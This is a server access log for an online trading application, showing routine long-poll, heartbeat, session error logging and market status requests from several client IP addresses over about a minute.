[09/Jan/2026:13:28:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936778041 HTTP/1.1" -
[09/Jan/2026:13:28:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936787895 HTTP/1.1" -
[09/Jan/2026:13:28:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936773377 HTTP/1.1" -
[09/Jan/2026:13:28:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936774269 HTTP/1.1" -
[09/Jan/2026:13:28:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936783142 HTTP/1.1" -
[09/Jan/2026:13:28:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936792947 HTTP/1.1" -
[09/Jan/2026:13:28:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936778574 HTTP/1.1" -
[09/Jan/2026:13:28:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936779297 HTTP/1.1" -
[09/Jan/2026:13:28:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936788233 HTTP/1.1" -
[09/Jan/2026:13:28:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936798011 HTTP/1.1" -
[09/Jan/2026:13:28:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936783725 HTTP/1.1" -
[09/Jan/2026:13:28:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936784362 HTTP/1.1" -
[09/Jan/2026:13:28:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936793337 HTTP/1.1" -
[09/Jan/2026:13:28:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936803068 HTTP/1.1" -
[09/Jan/2026:13:28:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936788875 HTTP/1.1" -
[09/Jan/2026:13:28:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936789442 HTTP/1.1" -
[09/Jan/2026:13:28:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936798411 HTTP/1.1" -
[09/Jan/2026:13:28:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936808099 HTTP/1.1" -
[09/Jan/2026:13:28:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936794037 HTTP/1.1" -
[09/Jan/2026:13:28:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936794507 HTTP/1.1" -
[09/Jan/2026:13:28:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936803515 HTTP/1.1" -
[09/Jan/2026:13:28:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936813130 HTTP/1.1" -
[09/Jan/2026:13:28:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936799176 HTTP/1.1" -
[09/Jan/2026:13:28:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:28:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936799570 HTTP/1.1" -
[09/Jan/2026:13:28:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:28:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:28:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936808550 HTTP/1.1" -
[09/Jan/2026:13:28:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936818196 HTTP/1.1" -
[09/Jan/2026:13:28:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936804309 HTTP/1.1" -
[09/Jan/2026:13:28:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936804610 HTTP/1.1" -
[09/Jan/2026:13:28:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936813618 HTTP/1.1" -
[09/Jan/2026:13:28:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936823265 HTTP/1.1" -
[09/Jan/2026:13:29:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936809456 HTTP/1.1" -
[09/Jan/2026:13:29:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936809636 HTTP/1.1" -
[09/Jan/2026:13:29:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936818714 HTTP/1.1" -
[09/Jan/2026:13:29:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936828292 HTTP/1.1" -
[09/Jan/2026:13:29:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936814516 HTTP/1.1" -
[09/Jan/2026:13:29:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936814716 HTTP/1.1" -
[09/Jan/2026:13:29:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936823781 HTTP/1.1" -
[09/Jan/2026:13:29:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936833357 HTTP/1.1" -
[09/Jan/2026:13:29:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936819662 HTTP/1.1" -
[09/Jan/2026:13:29:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936819749 HTTP/1.1" -
[09/Jan/2026:13:29:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936828947 HTTP/1.1" -
[09/Jan/2026:13:29:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936838385 HTTP/1.1" -
[09/Jan/2026:13:29:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936824793 HTTP/1.1" -
[09/Jan/2026:13:29:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936824829 HTTP/1.1" -
[09/Jan/2026:13:29:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936834020 HTTP/1.1" -
[09/Jan/2026:13:29:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936843410 HTTP/1.1" -
[09/Jan/2026:13:29:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936829935 HTTP/1.1" -
[09/Jan/2026:13:29:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:29:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936829890 HTTP/1.1" -
[09/Jan/2026:13:29:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936839054 HTTP/1.1" -
[09/Jan/2026:13:29:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936848477 HTTP/1.1" -
[09/Jan/2026:13:29:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936835040 HTTP/1.1" -
[09/Jan/2026:13:29:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936834912 HTTP/1.1" -
[09/Jan/2026:13:29:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936844152 HTTP/1.1" -
[09/Jan/2026:13:29:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936853555 HTTP/1.1" -
[09/Jan/2026:13:29:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:29:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:29:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
